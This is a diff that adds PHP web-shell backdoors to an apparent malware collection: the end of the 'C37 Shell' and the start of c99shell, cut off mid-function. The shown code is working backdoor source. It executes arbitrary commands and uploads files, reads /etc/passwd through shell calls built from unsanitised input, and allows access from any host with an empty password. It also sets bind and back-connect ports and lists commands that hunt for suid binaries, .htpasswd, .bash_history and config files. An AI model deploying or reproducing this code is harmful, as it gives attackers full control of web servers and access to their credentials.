(function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo '</td><td><font'; $A = GetPerms($DDot); $B = substr($A,7); if ($B === '--x'||$B === '---') { echo ' color="red">'; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.'</font></a></td><td><a href="?action=dir&amp;dir=',$SCDIR,'&amp;dirname=..">INFO</a></td></tr>'; + } + + if (isset($_GET['search'])) { + if (!isset($GLOB) && function_exists('array_search')) { + $DOTSearch = array_search('.',$dir); if ($DOTSearch !== FALSE) { unset($dir[$DOTSearch]); ++$i; } + $DOTSearch = array_search('..',$dir); if ($DOTSearch !== FALSE) { unset($dir[$DOTSearch]); ++$i; } + } + $Valid = array(); $dirCount = count($dir); $tempcounter = 0; + if (isset($_GET['casein'])) { $_GET['search'] = strtolower($_GET['search']); } + + if ($_GET['type'] === 'regexp') { + for ($k = 0;$i < $dirCount;$i++) { + if (preg_match($_GET['search'],$dir[$i])) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'lengthless') { + for ($k = 0;$i < $dirCount;$i++) { + if (strlen($dir[$i]) < $_GET['search']) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'lengthabove') { + for ($k = 0;$i < $dirCount;$i++) { + if (strlen($dir[$i]) > $_GET['search']) { $Valid[$k++] = $i; } + } + } + elseif (isset($_GET['casein'])) { + if ($_GET['type'] === 'exact') { + for ($k = 0;$i < $dirCount;$i++) { + if ($_GET['search'] === strtolower($dir[$i])) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'begins') { + for ($k = 0;$i < $dirCount;$i++) { + if (strpos(strtolower($dir[$i]),$_GET['search']) === 0) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'nbegins') { + for ($k = 0;$i < $dirCount;$i++) { + if (strpos(strtolower($dir[$i]),$_GET['search']) !== 0) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'ends') { + $Length = strlen($_GET['search']); + for ($k = 0;$i < $dirCount;$i++) { + if (preg_match('/'.preg_quote($_GET['search'],'/i').'$/',$dir[$i])) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'nends') { + $Length = strlen($_GET['search']); + for ($k = 0;$i < $dirCount;$i++) { + if (!preg_match('/'.preg_quote($_GET['search'],'/i').'$/',$dir[$i])) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'nendsbegins') { + $Length = strlen($_GET['search']); + for ($k = 0;$i < $dirCount;$i++) { + if (!preg_match('/.+'.preg_quote($_GET['search'],'/i').'.+$/',$dir[$i])) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'contains') { + for ($k = 0;$i < $dirCount;$i++) { + if (strpos(strtolower($dir[$i]),$_GET['search']) !== FALSE) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'ncontains') { + for ($k = 0;$i < $dirCount;$i++) { + if (strpos(strtolower($dir[$i]),$_GET['search']) === FALSE) { $Valid[$k++] = $i; } + } + } + } + elseif (!isset($_GET['casein'])) { + if ($_GET['type'] === 'exact') { + for ($k = 0;$i < $dirCount;$i++) { + if ($_GET['search'] === $dir[$i]) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'begins') { + for ($k = 0;$i < $dirCount;$i++) { + if (strpos($dir[$i],$_GET['search']) === 0) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'nbegins') { + for ($k = 0;$i < $dirCount;$i++) { + if (strpos($dir[$i],$_GET['search']) !== 0) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'ends') { + $Length = strlen($_GET['search']); + for ($k = 0;$i < $dirCount;$i++) { + if (preg_match('/'.preg_quote($_GET['search'],'/').'$/',$dir[$i])) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'nends') { + $Length = strlen($_GET['search']); + for ($k = 0;$i < $dirCount;$i++) { + if (!preg_match('/'.preg_quote($_GET['search'],'/').'$/',$dir[$i])) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'nendsbegins') { + $Length = strlen($_GET['search']); + for ($k = 0;$i < $dirCount;$i++) { + if (!preg_match('/.+'.preg_quote($_GET['search'],'/').'.+$/',$dir[$i])) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'contains') { + for ($k = 0;$i < $dirCount;$i++) { + if (strpos($dir[$i],$_GET['search']) !== FALSE) { $Valid[$k++] = $i; } + } + } + elseif ($_GET['type'] === 'ncontains') { + for ($k = 0;$i < $dirCount;$i++) { + if (strpos($dir[$i],$_GET['search']) === FALSE) { $Valid[$k++] = $i; } + } + } + } + $validCount = count($Valid); + for ($k = 0,$l = 0; $tempcounter < $validCount; $tempcounter++) { + if (is_file($dir[$Valid[$tempcounter]])) { $Files[$k++] = $Valid[$tempcounter]; } + else { $Dirs[$l++] = $Valid[$tempcounter]; } + } + } + else { + for ($i = 0,$k = 0,$l = 0; $i < $dirCount; $i++) { + if (is_file($dir[$i])) { $Files[$k++] = $i; } + else { $Dirs[$l++] = $i; } + } + } + foreach ($Dirs AS $dirFILE) { + /*display directories*/ + ++$R; echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&amp;image=dir" width="17" height="14" alt="Dir" /></td><td><a href="?dir=',$SCDIR,urlencode($dir[$dirFILE]),'">['.$dir[$dirFILE].']</a></td></tr></table></td><td>DIR</td><td>',date('F d Y H:i:s.',filemtime($dir[$dirFILE])).'</td><td>'; $A = filegroup($dir[$dirFILE]); $B = fileowner($dir[$dirFILE]); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo '</td><td><a href="?action=file&amp;act=chmod&amp;file=',urlencode($dir[$dirFILE]),'&amp;dir=',$SCDIR,'"><font'; $A = GetPerms($dir[$dirFILE]); $B = substr($A,7); if ($B === '--x'||$B === '---') { echo ' color="red">'; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A,'</font></a></td><td><a href="?action=dir&amp;dir=',$SCDIR,'&amp;dirname=',urlencode($dir[$dirFILE]),'">INFO</a></td></tr>'; + } + foreach ($Files AS $dirFILE) { + if (is_link($dir[$dirFILE])) { + /*display links*/ + ++$L; echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&amp;image=link" width="16" height="16" alt="SymLink" /></td><td>'; $L = readlink($dir[$dirFILE]); if (is_dir($dir[$dirFILE])) { echo '<a href="?dir=',urlencode(realpath($dir[$dirFILE])),'">[',$dir[$dirFILE],']'; } else { echo '<a href="?action=file&amp;file=',realpath($L),'">',$dir[$dirFILE]; } echo '</a></td></tr></table></td><td>LINK -> ',$L; if (linkinfo($L) != -1) { echo ' <font color="green">[Exists]</font>'; } else { echo ' <font color="red">[Exists]</font>'; } echo '</td><td>',date('F d Y H:i:s.',filemtime($dir[$dirFILE])),'</td><td>'; $A = filegroup($dir[$dirFILE]); $B = fileowner($dir[$dirFILE]); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo '</td><td><font'; $A = GetPerms($dir[$dirFILE]); $B = substr($A,7); if ($B === '--x'||$B === '---') { echo ' color="red">'; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.'</font></a></td></tr>'; + } + else { + /*display files*/ + ++$F; $File = urlencode($dir[$dirFILE]); $eXT = '.:'; if (strpos($dir[$dirFILE], '.') !== FALSE) { $eXT = strrchr($dir[$dirFILE], '.'); } echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="',$ImgSRC,$eXT,'" width="16" height="16" alt="" /></td><td><a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',$File,'">',$dir[$dirFILE],'</a></td></tr></table></td><td>'; $B = sprintf('%u', filesize($dir[$dirFILE]));while ($B>=1024) { $B/=1024;++$S; }if ($S === 0) { echo $B,' Bytes'; } else {printf('%.3f %s',$B,$T[$S-1]); $S = 0; } echo '</td><td>',date('F d Y H:i:s.',filemtime($dir[$dirFILE])),'</td><td>'; $A = filegroup($dir[$dirFILE]); $B = fileowner($dir[$dirFILE]); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo '</td><td><a href="?action=file&amp;act=chmod&amp;file=',$File,'&amp;dir=',$SCDIR,'"><font'; $A = GetPerms($dir[$dirFILE]); $B = substr($A,7); if ($B === '--x'||$B === '---') { echo ' color="red">'; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A,'</font></a></td><td><a href="?action=download&amp;dir=',$SCDIR,'&amp;file=',$File,'"><img src="?action=img&amp;image=down" width="20" height="20" alt="Download" /></a> <input type="checkbox" name="F[',$i,']" value="',$dir[$dirFILE],'" /></td></tr>'; + } + } + } + + echo '</table></div> + <br /> + <span style="font-size:12px;color:red;" title="Files\Sub-Directories in ',htmlspecialchars($CDIR),'">:: [Listing ',$F+1,' Files'; + if ($Z < -1) { if ($F < -1) { echo ', '; } echo $Z+1,'Links'; } + if (($R > 2 && !isset($GLOB)) || ($R > 0 && isset($GLOB))) { echo ' and '; if (!isset($GLOB)) { echo $R-1; } else { echo $R+1; } echo ' sub-directories'; } + echo ' in the current directory] ::</span><br /> + <div style="width:95%;text-align:left;"> + <select id="val" name="val"> + <option selected="selected">With Selected:</option> + <option value="1">Delete Files</option> + <option value="3">Zip into Archive</option> + </select> + <input type="submit" value="&gt;&gt;" style="margin-right:15px;" /> + <a style="background-color:black;padding:4px;font-weight:600;cursor:default;" onclick="javascript:for (i=0;i&lt;document.getElementById(\'Form\').elements.length;i++) {document.getElementById(\'Form\').elements[i].checked=true; }">Check all</a> + <a style="background-color:black;padding:4px;font-weight:600;cursor:default;" onclick="javascript:for (i=0;i&lt;document.getElementById(\'Form\').elements.length;i++) {document.getElementById(\'Form\').elements[i].checked=false; }">Uncheck all</a> + </div> + </form> + <br /> + <table style="text-align:center;"> + <tr> + <td> + <form action="?dir=',$SCDIR,'&amp;act=FileMake" method="post" style="display:inline;">Create a new file + <br /> + <input type="text" id="fm" name="fm" size="40" /> + <input type="submit" value="Create" /> + </form> + </td> + <td> + <form action="?action=CLI&amp;dir=',$SCDIR,'" method="post" style="display:inline;">Execute command + <br /> + <input type="text" id="c" name="c" size="40" /> + <input type="submit" value="Exec" /> + </form> + </td> + </tr> + <tr> + <td> + <form action="?dir=',$SCDIR,'&amp;act=DirMake" method="post" style="display:inline;">Create a new directory + <br /> + <input type="text" id="dm" name="dm" size="40" /> + <input type="submit" value="Create" /> + </form> + </td> + <td> + <form enctype="multipart/form-data" action="?dir=',$SCDIR,'&amp;act=Upload" method="post" style="display:inline;">Upload file + <br /> + <input type="file" id="File" name="File" size="20" /> + <span style="cursor:pointer;color:red;" onclick="javascript:'; + if (ini_get('max_file_uploads') != '') { echo 'if (numoffields &lt;= ',ini_get('max_file_uploads'),') { '; } + echo 'document.getElementById(next).innerHTML+=\'&lt;input type=\\\'file\\\' id=\\\'File\'+i+\'\\\' name=\\\'File\'+i+\'\\\' size=\\\'20\\\' /&gt;&lt;div id=\\\'ADD\'+i+\'\\\' style=\\\'text-align:left;display:none;\\\'&gt;&lt;/div&gt;\';'; + if (ini_get('max_file_uploads') != '') { echo 'numoffields++; }'; } + echo 'document.getElementById(next).style.display=\'block\';next=\'ADD\'+i;i++;">[ADD]</span> + <input type="submit" value="Upload" /> + <div id="ADD" style="text-align:left;display:none;"></div> + </form> + </td> + </tr> + <tr> + <td valign="top"> + <form action="?dir=',$SCDIR,'&amp;power=FileRead" method="post"><br />Try every function to read a file + <br /> + <input type="text" id="value" name="value" size="40" value="/etc/passwd" /> + <input type="submit" value="Read" style="width:60px;" /> + </form>'; + if (isset($_GET['power']) && $_GET['power'] === 'FileRead') { + echo '<br />'; + if (is_readable($_POST['value']) && sprintf('%u', filesize($_POST['value'])) > 0) { + $File = ''; + + $File = file_get_contents($_POST['value']); + if ($File !== '') { $Suc = TRUE; } + else { + $Handle = fopen($_POST['value'], 'rb'); + $File = fread($Handle,sprintf('%u', filesize($_POST['value']))); + if ($File !== '') { $Suc = TRUE; } + else { + while (!feof($Handle)) { + $File = fgets($Handle, 4096); + } + if ($File !== '') { $Suc = TRUE; } + else { + fclose($Handle); + $AAA = readfile($_POST['value']); + if ($AAA !== FALSE) { $Suc = TRUE; } + else { + while (FALSE !== ($AAA = fgetc($Handle))) { + $File .= $AAA; + } + if ($File !== '') { $Suc = TRUE; } + else { + fclose($Handle); + if (!$IsWIN) { + if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) { + if (function_exists('shell_exec')) { echo htmlspecialchars(shell_exec('cat '.$_POST['value'])); $Suc = TRUE; } + elseif (function_exists('exec')) { $ExecArray = array(); exec('cat '.$_POST['value'],$ExecArray); foreach($ExecArray AS $Line) { echo htmlspecialchars($Line); } $Suc = TRUE; } + elseif (function_exists('popen')) { $Read=''; $Handle = popen('cat '.$_POST['value'],'r'); while ($Read = fread($Handle,2096)) { echo htmlspecialchars($Read); } pclose($Handle); $Suc = TRUE; } + elseif (function_exists('system') && system('cat '.$_POST['value'])) { $Suc = TRUE; } + elseif (function_exists('passthru')) { passthru('cat '.$_POST['value']); $Suc = TRUE; } + } + } + else { + if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) { + if (function_exists('shell_exec')) { echo htmlspecialchars(shell_exec('type '.$_POST['value'])); $Suc = TRUE; } + elseif (function_exists('exec')) { $ExecArray = array(); exec('type '.$_POST['value'],$ExecArray); foreach($ExecArray AS $Line) { echo htmlspecialchars($Line); } $Suc = TRUE; } + elseif (function_exists('popen')) { $Read=''; $Handle = popen('type '.$_POST['value'],'r'); while ($Read = fread($Handle,2096)) { echo htmlspecialchars($Read); } pclose($Handle); $Suc = TRUE; } + elseif (function_exists('system')) { system('type '.$_POST['value']); $Suc = TRUE; } + elseif (function_exists('passthru')) { passthru('type '.$_POST['value']); $Suc = TRUE; } + } + } + } + } + } + } + } + if (isset($Suc)) { echo '<br /><textarea rows="5" cols="38" readonly="readonly">',htmlspecialchars($File),'</textarea>'; } + else { echo '<br />Can\'t read file.'; } + } + else { echo 'File does not exist or is not readable or its size is 0'; } + } + echo '</td> + <td valign="top"> + <form action="?dir=',$SCDIR,'&amp;act=Link" method="post"> + Create link<br /> + <table> + <tr> + <td> + <input type="text" id="Name" name="Name" value="Link Name" onclick="javascript:if (this.value === \'Link Name\') this.value=\'\';" onblur="javascript: if(this.value === \'\') { this.value = \'Link name\'; }" style="width:140px;" /><br /><input type="text" id="To" name="To" value="Target of the link" onclick="javascript:if (this.value === \'Target of the link\') this.value=\'\';" onblur="javascript: if(this.value === \'\') { this.value = \'Target of the link\'; }" style="width:140px;" /> + </td> + <td valign="middle"> + <select id="type" name="type"> + <option value="s">Symbolic Link</option> + <option value="h">Hard Link</option> + </select> + <input type="submit" value="Create" /> + </td> + </tr> + </table> + </form> + </td> + </tr> + </table>'; + } +} + +function GetPerms(&$F) { /*From php.net*/ $perms = fileperms($F); if (($perms&0xC000)==0xC000) { $info='s'; } elseif (($perms&0xA000)==0xA000) { $info='l'; } elseif (($perms&0x8000)==0x8000) { $info='-'; } elseif (($perms&0x6000)==0x6000) { $info='b'; } elseif (($perms&0x4000)==0x4000) { $info='d'; } elseif (($perms&0x2000)==0x2000) { $info='c'; } elseif (($perms&0x1000)==0x1000) { $info='p'; } else { $info='u'; } $info.=(($perms&0x0100) ? 'r':'-'); $info.=(($perms&0x0080) ? 'w':'-'); $info.=(($perms&0x0040) ?(($perms&0x0800) ? 's':'x'):(($perms&0x0800) ? 'S':'-')); $info.=(($perms&0x0020) ? 'r':'-'); $info.=(($perms&0x0010) ? 'w':'-'); $info.=(($perms&0x0008) ?(($perms&0x0400) ? 's':'x' ):(($perms&0x0400) ? 'S':'-')); $info.=(($perms&0x0004) ? 'r':'-'); $info.=(($perms&0x0002) ? 'w':'-'); $info.=(($perms&0x0001) ?(($perms&0x0200) ? 't':'x'):(($perms&0x0200) ? 'T':'-'));return $info; } +function GetLastError() { + if (function_exists('error_get_last')) { + $A = error_get_last(); + if ($A!==NULL) { echo '<br />(error_get_last: [Type]: ',$A['type'],' | [Message]: ',$A['message'],')'; } + return; + } + else { return; } +} + +echo '<br /><br /> +<div style="border: 1px solid #303030;padding:3px; margin-left:-9px; margin-right:-8px;"> + -[<font color="red">C37 Shell</font> 1.1] + | [<a href="http://www.stayinvisible.com/" target="_blank"> + <font color="red">Remote IP: </font>',$_SERVER['REMOTE_ADDR']; + if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { echo ' <font color="red"> Forwarded For:</font> ',$_SERVER['HTTP_X_FORWARDED_FOR']; } + if (!empty($_SERVER['HTTP_CLIENT_IP'])) { echo ' <font color="red"> Client IP:</font> ',$_SERVER['HTTP_CLIENT_IP']; } + if (!empty($_SERVER['HTTP_PROXY_USER'])) { echo ' <font color="red"> Proxy user:</font> ',$_SERVER['HTTP_PROXY_USER']; } + echo '</a> | + CODED BY <span style="color:white;font-weight:bold;">REACTiON</span>]- +</div> +</center> +<script type="text/javascript">var i=2;var numoffields=0;var next=\'ADD\';</script> +</body> +</html> +<textarea style="display:none;opacity:0;" rows="0" cols="0">'; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c66.php b/web-malware-collection-master/Backdoors/PHP/c66.php new file mode 100755 index 0000000..bc90bf2 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c66.php @@ -0,0 +1,2652 @@ +<?php +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #17"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>donated_html</b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "prozente@gmail.com"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<hr><b>[Home]</b>",$surl), + array("<b>[Back]</b>","#\" onclick=\"history.back(1)"), + array("<b>[Forward]</b>","#\" onclick=\"history.go(1)"), + array("<b>[UPDIR]</b>",$surl."act=ls&d=%upd&sort=%sort"), + array("<b>[Refresh]</b>",""), + array("<b>[Search]</b>",$surl."act=search&d=%d"), + array("<b>[Buffer]</b>",$surl."act=fsbuff&d=%d"), + array("<b>[Encoder]</b></b>",$surl."act=encoder&d=%d"), + array("<b>[Tools]</b>",$surl."act=tools&d=%d"), + array("<b>[Proc.]</b>",$surl."act=processes&d=%d"), + array("<b>[FTP brute]</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>[Sec.]</b>",$surl."act=security&d=%d"), + array("<b>[SQL]</b>",$surl."act=sql&d=%d"), + array("<b>[PHP-code]</b>",$surl."act=eval&d=%d"), + array("<b>[Self remove]</b>",$surl."act=selfremove"), + array("<b>[Logout]</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img"){ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = 